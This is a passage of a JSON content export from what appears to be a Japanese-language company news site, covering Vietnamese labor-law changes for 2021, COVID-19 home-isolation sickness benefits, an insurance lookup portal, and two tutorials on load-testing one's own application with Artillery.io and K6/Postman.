by":68,"date":5226,"description":5163,"extension":71,"meta":5227,"navigation":73,"path":5228,"sections":75,"seo":5229,"stem":5230,"thumbnail":5231,"__hash__":5232},"content_ja\u002Fja\u002Fnews\u002Fchanges-laborrule-2021.md","2021年より有効となる労働法の改正点",{"type":8,"value":5160,"toc":5224},[5161,5164,5169,5172,5183,5186,5189,5194,5197,5202,5205,5210,5213,5217],[11,5162,5163],{},"給与や賞与などに関するベトナム2019年労働法の改正点は2021年1月1日より有効になるので、労働者は自分の権利を確保するため理解する必要があります。以下に、それらの改正点を示します。",[11,5165,5166],{},[20,5167,5168],{},"1.有給休暇日の追加",[11,5170,5171],{},"2019年労働法第113条第1項にのっとり、労働者は、2021年から、同一雇用者の下で12ヶ月間勤務した場合、労働契約書に沿って年次有給休暇日数を以下のように付与されます。",[31,5173,5174,5177,5180],{},[34,5175,5176],{},"通常勤務の場合、12日となります。",[34,5178,5179],{},"未成年の労働者または障害者の労働者あるいは重労働・有害・危険な業務をする労働者、14日となります。",[34,5181,5182],{},"特別に重労働・有害・危険な業務を担う労働者の場合、16日となります。",[11,5184,5185],{},"祝日に関する改正点については、建国記念日(9月2日)の祝日の日数を1日追加して2連休としました。現行法の9月2日に加えて、年によって9月2日の前日もしくは後日を祝日にします。",[11,5187,5188],{},"これにより、年間休日総数は11日に増加し、すなわち、旧労働法に比べ、1日が増えました。",[11,5190,5191],{},[20,5192,5193],{},"2.以下の場合における労働者への有給休暇の付与",[11,5195,5196],{},"同法第115条第1項においては、労働者は、義父や義母または配偶者の義父や義母が死亡した場合、有給休暇3日を付与されるという規定が追加されました。さらに、実子または養子が結婚する場合、有給休暇1日を付与される（旧：子が結婚する場合、有給休暇1日を付与される）、実子または養子が死亡した場合、有給休暇3日を付与される（旧：子が死亡した場合、有給休暇3日を付与される）と明確に書き直しました。",[11,5198,5199],{},[20,5200,5201],{},"3. 給与を期日どおりに支払されない場合における予告なき契約終了",[11,5203,5204],{},"同法第35条第2項第b号にのっとり、労働者は、同法第97条第4項に定める場合を除き、雇用者が期日どおりに給与を支払わない若しくは給与を全額支払わない場合、事前通知なしで、労働契約を一方的に終了することができます。（旧：労働契約を終了する3日前に予告しなければなりません。）",[11,5206,5207],{},[20,5208,5209],{},"4. 給与支払が遅れた場合における労働者への賠償額の計算利率",[11,5211,5212],{},"同法第97条第4項にのっとり、雇用者は、あらゆる手を尽くしたがやむを得ない事由により期日どおりに給与を支払うことができない場合においても、給与支払が30日以上遅れてはなりません。雇用者は労働者に対し、給与支払が15日以上遅れた場合、少なくとも雇用者が労働者へ給与を支払うために口座を開設した銀行の給与支払い時点で公表している1 ヶ月の定期預金の利率をもとに計算される、給与支払に遅れた金額に相応する利息分の金額を代償として支払わなければなりません。",[11,5214,5215],{},[20,5216,55],{},[11,5218,5219],{},[57,5220,5223],{"href":5221,"rel":5222},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Flao-dong-tien-luong\u002FBo-Luat-lao-dong-2019-333670.aspx",[61],"2019年労働法",{"title":64,"searchDepth":65,"depth":65,"links":5225},[],"2021-02-19",{},"\u002Fja\u002Fnews\u002Fchanges-laborrule-2021",{"title":5158,"description":5163},"ja\u002Fnews\u002Fchanges-laborrule-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F12\u002F24165216\u002FNh%E1%BB%AFng-%C4%91i%E1%BB%83m-m%E1%BB%9Bi-c%E1%BB%A7a-LLD-s%E1%BB%ADa-%C4%91%E1%BB%95i-c%C3%B3-hi%E1%BB%87u-l%E1%BB%B1c-t%E1%BB%AB-n%C4%83m-2021-2048x1358.jpg","E3ss6xuTbYaTOUFd3pbHBKvefJkeTOoYTL3WAABGaaA",{"id":5234,"title":5235,"body":5236,"category":353,"created by":68,"date":5497,"description":5498,"extension":71,"meta":5499,"navigation":73,"path":5500,"sections":75,"seo":5501,"stem":5502,"thumbnail":5503,"__hash__":5504},"content_ja\u002Fja\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery.md","Artilleryを使った負荷テスト・性能テストの実行",{"type":8,"value":5237,"toc":5476},[5238,5241,5245,5248,5251,5254,5258,5261,5264,5267,5270,5273,5276,5279,5281,5284,5290,5296,5299,5305,5308,5316,5322,5325,5328,5331,5337,5340,5343,5349,5352,5356,5359,5362,5365,5368,5374,5377,5383,5386,5389,5395,5398,5401,5404,5407,5413,5416,5427,5430,5433,5447,5453,5457,5460,5463,5466],[495,5239,5240],{"id":5240},"紹介",[660,5242,5244],{"id":5243},"性能テストとはなぜ負荷テストを実行すべきか","性能テストとは？なぜ負荷テストを実行すべきか？",[11,5246,5247],{},"性能テストは、ソフトウェアの試験であり、様々ワークロードでアプリケーションの稼働状況を評価することです。",[11,5249,5250],{},"性能テストは、パフォーマンスが低下したり障害が発生したりすることなくユーザーからの想定リクエスト数をアプリケーションが処理できるのを確保するため、応答時間、帯域幅、拡張性といった色々な情報を測定します。",[11,5252,5253],{},"性能テストは、パフォーマンスに関わる問題やボトルネックを特定することもでき、パフォーマンスの最適化のために必要な変更を行うのに役立ちます。この目的としては、高負荷状態でもスムーズで速やかな、信頼性の高いユーザー体験をアプリケーションが提供できるように確保するためです。",[660,5255,5257],{"id":5256},"artilleryioについての紹介","Artillery.ioについての紹介",[11,5259,5260],{},"Artillery.ioはWebアプリケーション、API サービス、マイクロサービスのパフォーマンスと拡張性を確認するために使われるオープンソースの性能試験ツールです。ユーザーの実際操作を模倣して複数のソースから負荷を生成することでシナリオ通りにアプリケーションを確認することができます。",[660,5262,5263],{"id":5263},"プロトコルのサポート",[11,5265,5266],{},"Artillery.ioはNode.jsで作成されて、HTTP、Websocket、socket.io. の各プロトコルをサポートします。",[11,5268,5269],{},"その他に、Artilleryのプラグインを使うことで、HLS（HTTP Live Streaming）、Amazon Kinesis、 Apache Kafkaといったスタックを確認することができます。",[660,5271,5272],{"id":5272},"スクリプトの形式",[11,5274,5275],{},"Artillery.ioは他の一般的なテストツールとは異なり、負荷テストのシナリオを定義するため、柔軟な YAMLベースの構文を提供します。また、JSON形式もサポートします。",[495,5277,5278],{"id":5278},"インストールおよび基本機能",[660,5280,1868],{"id":1868},[11,5282,5283],{},"以下のように、npmかyarnのコマンドを使うことでArtillery.ioをグローバルな依存関係でインストールことができます。",[696,5285,5288],{"className":5286,"code":5287,"language":701},[699],"#npm\nnpm install -g artillery\n\n",[703,5289,5287],{"__ignoreMap":64},[696,5291,5294],{"className":5292,"code":5293,"language":701},[699],"#yarn\nyarn global add artillery\n\n",[703,5295,5293],{"__ignoreMap":64},[11,5297,5298],{},"或いは、以下のようにコマンドを使うことでNode.jsプロジェクトで開発的な依存関係でインストールすることもできます。",[696,5300,5303],{"className":5301,"code":5302,"language":701},[699],"npm install -D artillery\n",[703,5304,5302],{"__ignoreMap":64},[660,5306,5307],{"id":5307},"簡易テスト",[11,5309,5310,5311],{},"quickサブコマンドを使うことでテストスクリプトを作成せずにテストを実施することができます。例えば、10名の仮想ユーザー（VUs）が実行し、ユーザー毎に「",[57,5312,5315],{"href":5313,"rel":5314},"http:\u002F\u002Flocalhost:3000\u002F:%E3%80%8D%E3%81%B8%E3%83%AA%E3%82%AF%E3%82%A8%E3%82%B9%E3%83%88%E3%82%9220%E5%9B%9E%E9%80%81%E4%BF%A1%E3%81%99%E3%82%8B%E5%A0%B4%E5%90%88%E3%80%81%E4%BB%A5%E4%B8%8B%E3%81%AE%E3%82%88%E3%81%86%E3%81%AB%E3%81%AA%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82",[61],"http:\u002F\u002Flocalhost:3000\u002F:」へリクエストを20回送信する場合、以下のようになります。",[696,5317,5320],{"className":5318,"code":5319,"language":701},[699],"artillery quick -c 10 -n 20 http:\u002F\u002Flocalhost:3000\u002Fapi\u002Fuser\n",[703,5321,5319],{"__ignoreMap":64},[11,5323,5324],{},"「-c」パラメーターはVUの総数を指定し、「-n」パラメーターは1名のVUあたりのリクエスト数を指定します。",[660,5326,5327],{"id":5327},"テストスクリプト実行",[11,5329,5330],{},"runサブコマンドはテストスクリプトをローカルマシンから実行するために使われます。テストを実行する基本方法は以下の通りです。",[696,5332,5335],{"className":5333,"code":5334,"language":701},[699],"artillery run script.yaml -o report.json\n",[703,5336,5334],{"__ignoreMap":64},[11,5338,5339],{},"「-o」パラメーターはJSON帳票をあるファイルに書き込むためのオプションです。",[660,5341,5342],{"id":5342},"帳票出力",[696,5344,5347],{"className":5345,"code":5346,"language":701},[699],"artillery report report.json -o report.html\n",[703,5348,5346],{"__ignoreMap":64},[11,5350,5351],{},"reportサブコマンドを使うことで、runサブコマンドで生成されたJSON帳票を新しいHTML帳票に変換することができます。",[530,5353],{"className":5354,"alt":64,"src":5355,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143906\u002Ftest-create-user.png",[495,5357,5358],{"id":5358},"簡単な負荷テストの作成",[11,5360,5361],{},"下記の説明のように、YAML構文を使用します。まず、「script.yml」のようなファイル名を作成しておきます。次に、ファイルの上部にあるコンフィグを定義します。",[660,5363,5364],{"id":5364},"コンフィグ",[11,5366,5367],{},"「target」オプションを使用してテスト スクリプトのベースURLを設定する必要があります。",[696,5369,5372],{"className":5370,"code":5371,"language":701},[699],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n",[703,5373,5371],{"__ignoreMap":64},[11,5375,5376],{},"次に、ロード フェーズの定義を開始します。ロード フェーズは、指定された期間内にArtilleryが新しい VU を生成する方法を定義します。",[696,5378,5381],{"className":5379,"code":5380,"language":701},[699],"config:\n  ...\n  phases:\n    - duration: 60\n      arrivalRate: 100\n",[703,5382,5380],{"__ignoreMap":64},[660,5384,5385],{"id":5385},"シナリオ",[11,5387,5388],{},"一つまたは複数のシナリオを定義することができます。シナリオの定義はそれぞれで「flow」プロパティのあるオブジェクトです。",[696,5390,5393],{"className":5391,"code":5392,"language":701},[699],"scenarios:\n  - name: \"Get All Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          qs:\n            limit: 10\n            offset: 20\n",[703,5394,5392],{"__ignoreMap":64},[11,5396,5397],{},"「flow」プロパティには、HTTPの メソッドをオブジェクト属性として定義することができます。その後、API のパスを確定する必要があります。また、URL-encoded forms、Multipart forms、JSONといったform bodyやquery stringをセットできます。",[11,5399,5400],{},"スクリプトを保存してから、テストスクリプトとして実行することができます。",[495,5402,5403],{"id":5403},"実際のユーザーフロー",[11,5405,5406],{},"例えば、以下のようにユーザーフローがあります。",[696,5408,5411],{"className":5409,"code":5410,"language":701},[699],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n  phases:\n    - duration: 120\n      arrivalRate: 10\n      name: \"Preparing\"\n    - duration: 240\n      arrivalRate: 30\n      rampTo: 100\n      name: \"Increasing\"\n    - duration: 600\n      arrivalRate: 100\n      name: \"Sustained Load\"\n  payload:\n    path: \"login.csv\"\n    cast: false\n    fields:\n      - \"user\"\n      - \"pass\"\n  processor: \".\u002Fprocessor.js\"\n\nbefore:\n  flow:\n    - log: \"Get auth token\"\n    - post:\n        url: \"\u002Fauth\u002Flogin\"\n        json:\n          username: \"{{user}}\"\n          password: \"{{pass}}\"\n        capture:\n          - json: $.tokens.accessToken\n            as: token\nscenarios:\n  - name: \"Search Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n  - name: \"Create New User\"\n    flow:\n      - post:\n          url: \"\u002Fuser\"\n          beforeRequest: \"setJsonBody\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n",[703,5412,5410],{"__ignoreMap":64},[11,5414,5415],{},"上記のスクリプトでは、コンフィグに３つのフェーズがあります。",[31,5417,5418,5421,5424],{},[34,5419,5420],{},"第１フェーズでは、1 秒あたり 10 個の VU を生成してアプリケーションへ2分以内で送信します。",[34,5422,5423],{},"第２フェーズでは、負荷テストは 1 秒あたり ３０名のユーザーで行い、、4 分以内で 1 秒あたり １００名のユーザーまで徐々に増加します。",[34,5425,5426],{},"第３フェーズでは、１０分以内で1 秒あたり １００名の ユーザーで連続的に負荷テストを行います。",[11,5428,5429],{},"複数のフェーズを使用することで、実際のアクセス数のシナリオを正確にシミュレートし、いきなり送信してくるリクエストを一括に処理するアプリケーションの性能を評価することができます。",[11,5431,5432],{},"シナリオの第１フローで、各 VU からは GET | \"Search user\" へリクエストを送信します。次に、第２フローで POST | \"Create user\"へリクエストを送信します。",[11,5434,5435,5436,5439,5440,5443,5444,5446],{},"データを生成しやすくなるため、リクエストする前に",[20,5437,5438],{},"beforeRequest","というカスタマイズフック上での",[20,5441,5442],{},"setJsonBody","関数を使用します。",[20,5445,5442],{},"関数はprocessor.jsファイルで定義され、config.processorで参照されます。",[696,5448,5451],{"className":5449,"code":5450,"language":701},[699],"# processor.js\nconst { faker } = require(\"@faker-js\u002Ffaker\");\n\nfunction setJsonBody(requestParams, context, ee, next) {\n  var body = {\n    username: faker.internet.userName(),\n    password: faker.internet.password(3),\n    email: faker.internet.exampleEmail(),\n    name: faker.name.fullName(),\n    role: faker.datatype.number({ min: 0, max: 1 }),\n  };\n\n  requestParams.json = body;\n  return next();\n}\n\nmodule.exports = {\n  setJsonBody,\n};\n",[703,5452,5450],{"__ignoreMap":64},[495,5454,5456],{"id":5455},"k6と比較","K6と比較",[11,5458,5459],{},"ArtilleryとK6の両方はオープンソースの性能試験ツールであり、拡張性、CI\u002FCD ツールとの統合、テストパターンの設定機能といった同様の機能を持っていますが、いくつかの違いがあります。ArtilleryはNode.jsで作成されましたが、K6はGoで作成されました。そのため、Artilleryはマルチスレッドではなく、メモリー使用量もより多いので、K6より遅いです。以下に、K6 と Artillery およびその他のツールの間のメモリ使用量を比較したグラフを示します。",[11,5461,5462],{},"結論として、ArtilleryとK6のどちらも強力なツールです。しかし、K6はArtilleryより利点が多いです。簡単な負荷テストを作成する場合、YAML構文を使用するArtilleryが最適なソリューションです。",[495,5464,5465],{"id":5465},"参考元",[11,5467,5468,602,5472],{},[57,5469,5470],{"href":5470,"rel":5471},"https:\u002F\u002Fwww.artillery.io\u002F",[61],[57,5473,5474],{"href":5474,"rel":5475},"https:\u002F\u002Fk6.io\u002Fblog\u002Fcomparing-best-open-source-load-testing-tools\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":5477},[5478,5484,5490,5494,5495,5496],{"id":5240,"depth":65,"text":5240,"children":5479},[5480,5481,5482,5483],{"id":5243,"depth":1375,"text":5244},{"id":5256,"depth":1375,"text":5257},{"id":5263,"depth":1375,"text":5263},{"id":5272,"depth":1375,"text":5272},{"id":5278,"depth":65,"text":5278,"children":5485},[5486,5487,5488,5489],{"id":1868,"depth":1375,"text":1868},{"id":5307,"depth":1375,"text":5307},{"id":5327,"depth":1375,"text":5327},{"id":5342,"depth":1375,"text":5342},{"id":5358,"depth":65,"text":5358,"children":5491},[5492,5493],{"id":5364,"depth":1375,"text":5364},{"id":5385,"depth":1375,"text":5385},{"id":5403,"depth":65,"text":5403},{"id":5455,"depth":65,"text":5456},{"id":5465,"depth":65,"text":5465},"2023-08-07","性能テストは、ソフトウェアの試験であり、様々ワークロードでアプリケーションの稼働状況を評価することです。性能テストは、パフォーマンスが低下したり障害が発生したりすることなくユーザーからの想定リクエスト数をアプリケーションが処理できるのを確保するため、応答時間、帯域幅、拡張性といった色々な情報を測定します。性能テストは、パフォーマンスに関わる問題やボトルネックを特定することもでき、パフォーマンスの最適化のために必要な変更を行うのに役立ちます。この目的としては、高負荷状態でもスムーズで速やかな、信頼性の高いユーザー体験をアプリケーションが提供できるように確保するためです。",{},"\u002Fja\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery",{"title":5235,"description":5498},"ja\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143246\u002Fartillery.png","CYz9wLQ3iaGc37djRi8_B_5e9CtRXfaOdS8OpL8p0xk",{"id":5506,"title":5507,"body":5508,"category":1388,"created by":5715,"date":5716,"description":5717,"extension":71,"meta":5718,"navigation":73,"path":5719,"sections":75,"seo":5720,"stem":5721,"thumbnail":5722,"__hash__":5723},"content_ja\u002Fja\u002Fnews\u002Fchay-load-test-voi-k6-va-postman.md","K6およびPostmanを使った負荷テスト実行",{"type":8,"value":5509,"toc":5702},[5510,5517,5520,5523,5526,5540,5543,5546,5552,5555,5561,5564,5567,5571,5574,5578,5581,5587,5590,5596,5599,5603,5606,5609,5615,5619,5622,5625,5628,5634,5637,5643,5646,5652,5659,5665,5671,5677,5681,5684,5688,5690,5696],[495,5511,5513,5514],{"id":5512},"k6とは","K6",[20,5515,5516],{},"とは",[11,5518,5519],{},"Grafana K6は技術チームでの性能テストを簡単化・効率化するオープンソースの負荷試験ツールです。K6を用いることでシステムの信頼性と性能性をテストできると共に、障害やパフォーマンス低下を早期に発現できます。",[11,5521,5522],{},"K6を用いてテストシナリオを実装して実行することができますが、この記事では、既存のPostmanコレクションからのK6実行方法を説明させていただきます。その操作はかなり簡単です。既存のPostmanコレクションをエクスポートした後、K6テストに変換し、実行するぐらいです。",[495,5524,5525],{"id":5525},"実現手順",[31,5527,5528,5531,5534,5537],{},[34,5529,5530],{},"K6インストール",[34,5532,5533],{},"Postmanのリクエスト作成・抽出",[34,5535,5536],{},"PostmanリクエストをK6テストに変換",[34,5538,5539],{},"K6テスト実行",[660,5541,5530],{"id":5542},"k6インストール",[11,5544,5545],{},"以下の記事を参考に、K6をインストールします。",[11,5547,5548],{},[57,5549,5550],{"href":5550,"rel":5551},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fget-started\u002Finstallation\u002F",[61],[11,5553,5554],{},"下記のコマンドを実行することでpostman-to-k6をインストールします。",[696,5556,5559],{"className":5557,"code":5558,"language":701},[699],"npm install -g postman-to-k6\n",[703,5560,5558],{"__ignoreMap":64},[660,5562,5533],{"id":5563},"postmanのリクエスト作成抽出",[11,5565,5566],{},"Postmanにてロカールで負荷テストを実行するリクエストを作成します。作成したリクエストのすべてを同一コレクションに置いておきます。そのコレクションをエクスポートしてソースコードを含めるフォルダーに保存します。",[530,5568],{"className":5569,"alt":64,"src":5570,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07083835\u002Fpostman-export-1-1536x816.png",[11,5572,5573],{},"Postmanで環境変数を使った場合においても、同様にエクスポートできます。 エクスポート後、二つのファイル（リクエストを含める「postman-requests.json」および、環境変数を含める「postman-env.json」）がプロジェクトフォルダーに生成されます。",[660,5575,5577],{"id":5576},"postmanのリクエストをk6テストに変換","PostmanのリクエストをK6テストに変換",[11,5579,5580],{},"下記のコマンドを実行することで、PostmanのリクエストをK6テストに変換します。",[696,5582,5585],{"className":5583,"code":5584,"language":701},[699],"postman-to-k6 postman-requests.json -e postman-env.json --separate -o k6-script.js\n",[703,5586,5584],{"__ignoreMap":64},[11,5588,5589],{},"環境変数を含めるファイルが存在していない場合、下記のコマンドを実行さえすれば良いです。",[696,5591,5594],{"className":5592,"code":5593,"language":701},[699],"postman-to-k6 postman-requests.json --separate -o k6-script.js\n",[703,5595,5593],{"__ignoreMap":64},[11,5597,5598],{},"上記のコマンドを実行した結果、「k6-script.js」が以下のように生成されます。",[530,5600],{"className":5601,"alt":64,"src":5602,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07100004\u002Fk6-script.png",[660,5604,5539],{"id":5605},"k6テスト実行",[11,5607,5608],{},"下記のコマンドを実行することでテストを実行します。",[696,5610,5613],{"className":5611,"code":5612,"language":701},[699],"k6 run k6-script.js\n",[703,5614,5612],{"__ignoreMap":64},[530,5616],{"className":5617,"alt":64,"src":5618,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07084839\u002Fk6-result-1024x624.png",[11,5620,5621],{},"上記のコマンドを実行した後、コンソールでテスト結果が表示されます。そこでリクエスト数、リクエスト数\u002F秒、失敗リクエスト数といった集計結果を確認できます。",[11,5623,5624],{},"以下のoptions変数の設定値を変更することで同時利用者数やテスト時間を増減でき、他の条件も調整できます。",[11,5626,5627],{},"例：100名のユーザーが30秒で同時に使っているパターンのテストを実行します。",[696,5629,5632],{"className":5630,"code":5631,"language":701},[699],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"constant-vus\", \n       vus: 100, \n       duration: \"30s\" \n    }\n  }\n};\n",[703,5633,5631],{"__ignoreMap":64},[11,5635,5636],{},"例：500名のユーザーが60秒で同時に使っているパターンのテストを実行します。",[696,5638,5641],{"className":5639,"code":5640,"language":701},[699],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"constant-vus\", \n       vus: 500, \n       duration: \"60s\" \n    }\n  }\n};\n",[703,5642,5640],{"__ignoreMap":64},[11,5644,5645],{},"例：10名のユーザーが同時に使っている、かつ、1名ごとにリクエストを最大30秒で20回実行するパターンのテストを実行します。",[696,5647,5650],{"className":5648,"code":5649,"language":701},[699],"export let options = {\n  scenarios: {\n    contacts: { \n       executor: \"per-vu-iterations\", \n       vus: 10, \n       iterations: 20, \n       maxDuration: \"30s\" \n    }\n  }\n};\n",[703,5651,5649],{"__ignoreMap":64},[11,5653,5654,5655],{},"その他に、目的により任意に変更できるパラメーターやシナリオがあります。詳細について以下の記事をご覧ください。\n",[57,5656,5657],{"href":5657,"rel":5658},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fjavascript-api\u002Fk6-http\u002Fparams\u002F",[61],[11,5660,5661],{},[57,5662,5663],{"href":5663,"rel":5664},"https:\u002F\u002Fk6.io\u002Fdocs\u002Fusing-k6\u002Fscenarios\u002F",[61],[11,5666,5667,5670],{},[20,5668,5669],{},"default function()"," に入っているリクエストのすべてはテスト実行時、実施されます。あるリクエストをテストしたい場合、テストしないリクエストをコメント化することで対応できます。以下のコードをご覧ください。",[495,5672,5673],{"id":64},[530,5674],{"className":5675,"alt":64,"src":5676,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F11165213\u002Fcode_snippet.jpg",[495,5678,5680],{"id":5679},"postmanのcollection-runnerと比較","PostmanのCollection Runnerと比較",[11,5682,5683],{},"PostmanのCollection Runner機能を使うことで負荷テストを実行することもできます。この機能を使う際、ライブラリーインストールやコード変換をすることなく、Postmanでリクエストを作成し、直接実行できます。また、IterationやDelayなどのパラメーターを変更することでテストシナリオを任意に編集できます。唯一の違いとしては、各テストシナリオを同時に実行できずに、テストシナリオの一つずつしか連続的に実行しません。また、そのテスト結果はK6のように詳しく集計されません。言い換えると、同時テスト実行や詳細集計が要らないのであれば、Postmanを選ぶことに越したことはありません。",[530,5685],{"className":5686,"alt":64,"src":5687,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F07090719\u002Fpostman-runner-1024x549.png",[495,5689,5084],{"id":5084},[11,5691,5692],{},[57,5693,5694],{"href":5694,"rel":5695},"https:\u002F\u002Fk6.io\u002Fdocs\u002F",[61],[11,5697,5698],{},[57,5699,5700],{"href":5700,"rel":5701},"https:\u002F\u002Fk6.io\u002Fblog\u002Fload-testing-with-postman-collections\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":5703},[5704,5706,5712,5713,5714],{"id":5512,"depth":65,"text":5705},"K6とは",{"id":5525,"depth":65,"text":5525,"children":5707},[5708,5709,5710,5711],{"id":5542,"depth":1375,"text":5530},{"id":5563,"depth":1375,"text":5533},{"id":5576,"depth":1375,"text":5577},{"id":5605,"depth":1375,"text":5539},{"id":64,"depth":65,"text":64},{"id":5679,"depth":65,"text":5680},{"id":5084,"depth":65,"text":5084},"KHUYEN DO TIEP","2022-12-15","K6とはGrafana K6は技術チームでの性能テストを簡単化・効率化するオープンソースの負荷試験ツールです。K6を用いることでシステムの信頼性と性能性をテストできると共に、障害やパフォーマンス低下を早期に発現できます。",{},"\u002Fja\u002Fnews\u002Fchay-load-test-voi-k6-va-postman",{"title":5507,"description":5717},"ja\u002Fnews\u002Fchay-load-test-voi-k6-va-postman","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F12\u002F06154519\u002Fk6.png","Z62RchUqE0T1ea6ByydsIdxIvbv3XH9fA8k6aDgE8vg",{"id":5725,"title":5726,"body":5727,"category":67,"created by":68,"date":5780,"description":5781,"extension":71,"meta":5782,"navigation":73,"path":5783,"sections":75,"seo":5784,"stem":5785,"thumbnail":5786,"__hash__":5787},"content_ja\u002Fja\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha.md","COVID-19療養及び自宅隔離中の労働者の傷病手当について",{"type":8,"value":5728,"toc":5778},[5729,5732,5735,5738,5741,5744,5755,5758,5761,5764,5767],[11,5730,5731],{},"COVID-19感染状況が複雑に変化して新規感染者数が日々増加し続けていることに伴い、医療施設及び野戦病院は過負荷になって多くの負担が強いられています。",[11,5733,5734],{},"2021年07月14日からベトナム保健省は、無症状及び軽症状の患者（F0）に対して自宅隔離を認めることを正式に実施しました。",[11,5736,5737],{},"自宅隔離は、隔離期間中の良好な状態およびより良い生活条件を作り出しながら医療施設や野戦病院の過負荷を緩和することを目的としています。 ただし、自宅隔離の対象となった労働者は、医療施設や野戦病院で発行される退院証明書や社会保険給付の休暇証明書を受け取ることができません。",[11,5739,5740],{},"自宅隔離となった場合には、労働者が何をすれば良いでしょうか？",[11,5742,5743],{},"社会保険局が傷病手当金の支払いを評価するための証明書は、以下の項目を含みます。",[31,5745,5746,5749,5752],{},[34,5747,5748],{},"患者情報（氏名、生年月日）",[34,5750,5751],{},"Covid-19感染による隔離・療養の確認",[34,5753,5754],{},"自宅隔離・療養期間（開始日、終了日)",[11,5756,5757],{},"それゆえ、Covid-19陽性となったとき、労働者はF0として記録されて具体的なガイダンスを受け入れるために管轄区の医療センターへすぐに通知する必要があります。",[11,5759,5760],{},"自宅隔離の対象となった労働者の場合、14日間の自宅隔離後に労働者は管轄区の医療センターへ行ってCOVID-19の検査をすぐに再度受けなければなりません。",[11,5762,5763],{},"検査結果が陰性であれば労働者はその医療センターから隔離終了証明書が発行されます。",[11,5765,5766],{},"労働者は、傷病手当を受給するために下記の書類を準備して、会社の担当者に提出する必要があります。",[31,5768,5769,5772,5775],{},[34,5770,5771],{},"健康観察・医療検疫隔離期間終了証明書 (医師の署名および区医療センターの印鑑付き)",[34,5773,5774],{},"陰性証明書 (医師の署名および区医療センター印鑑付き)",[34,5776,5777],{},"またはPCR検査結果の陰性証明書 (あれば）",{"title":64,"searchDepth":65,"depth":65,"links":5779},[],"2021-12-08","COVID-19感染状況が複雑に変化して新規感染者数が日々増加し続けていることに伴い、医療施設及び野戦病院は過負荷になって多くの負担が強いられています。2021年07月14日からベトナム保健省は、無症状及び軽症状の患者（F0）に対して自宅隔離を認めることを正式に実施しました。",{},"\u002Fja\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha",{"title":5726,"description":5781},"ja\u002Fnews\u002Fche-do-om-dau-danh-cho-nld-mac-covid-19-cach-ly-tai-nha","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F09\u002F21165927\u002Fimage_F0_isolation_at_home.png","6ihnAXH7JcSODK7FuhDQRTx6SiU0nqTb25eE9O-_pPc",{"id":5789,"title":5790,"body":5791,"category":67,"created by":68,"date":5852,"description":5853,"extension":71,"meta":5854,"navigation":73,"path":5855,"sections":75,"seo":5856,"stem":5857,"thumbnail":5858,"__hash__":5859},"content_ja\u002Fja\u002Fnews\u002Fchinh-sach-moi-them-cach-de-tra-cuu-qua-trinh-tham-gia-bhxh-bhyt-bhtn-co-hieu-luc-tu-06-2021.md","新政策・2021年6月から様々な保険の加入履歴の検索サイトが誕生",{"type":8,"value":5792,"toc":5850},[5793,5796,5799,5810,5813,5821,5824,5828,5835],[11,5794,5795],{},"ベトナム政府は保険に関する国家データベースポータル（以下に本ポータルという）について定めた議定第43\u002F2021\u002FNĐ-CP号を公布しました。この議定は2021年6月1日から有効になっています。",[11,5797,5798],{},"本ポータルにて社会保険、健康保険、失業保険に関する以下の情報が掲載されます。",[31,5800,5801,5804,5807],{},[34,5802,5803],{},"享受限度番号、対象タイプ、保険対象となる診療施設、有効期限、連続5年加入期間となる時点、加入歴・受給歴といった健康保険情報",[34,5805,5806],{},"社会保険番号、加入者の直属する企業、管理する社会保険機関、納付形式、社会保険ならびに労働災害・職業病保険への加入歴・受給歴、その他といった社会保険情報",[34,5808,5809],{},"加入歴・受給歴、失業給付額の算定基礎とする失業保険料納付年数といった失業保険情報",[11,5811,5812],{},"本ポータルにて加入者が利用できる機能を以下に示します。",[31,5814,5815,5818],{},[34,5816,5817],{},"保険情報を閲覧し検索する機能",[34,5819,5820],{},"個人の保険情報を抽出する機能。なお、出力した帳票はベトナム社会保険のデジタル署名が入り、書面上の署名と似たような効果を有します。",[11,5822,5823],{},"それゆえに、社会保険、健康保険、失業保険の情報を検索する媒体としては、今まで利用できているベトナム社会保険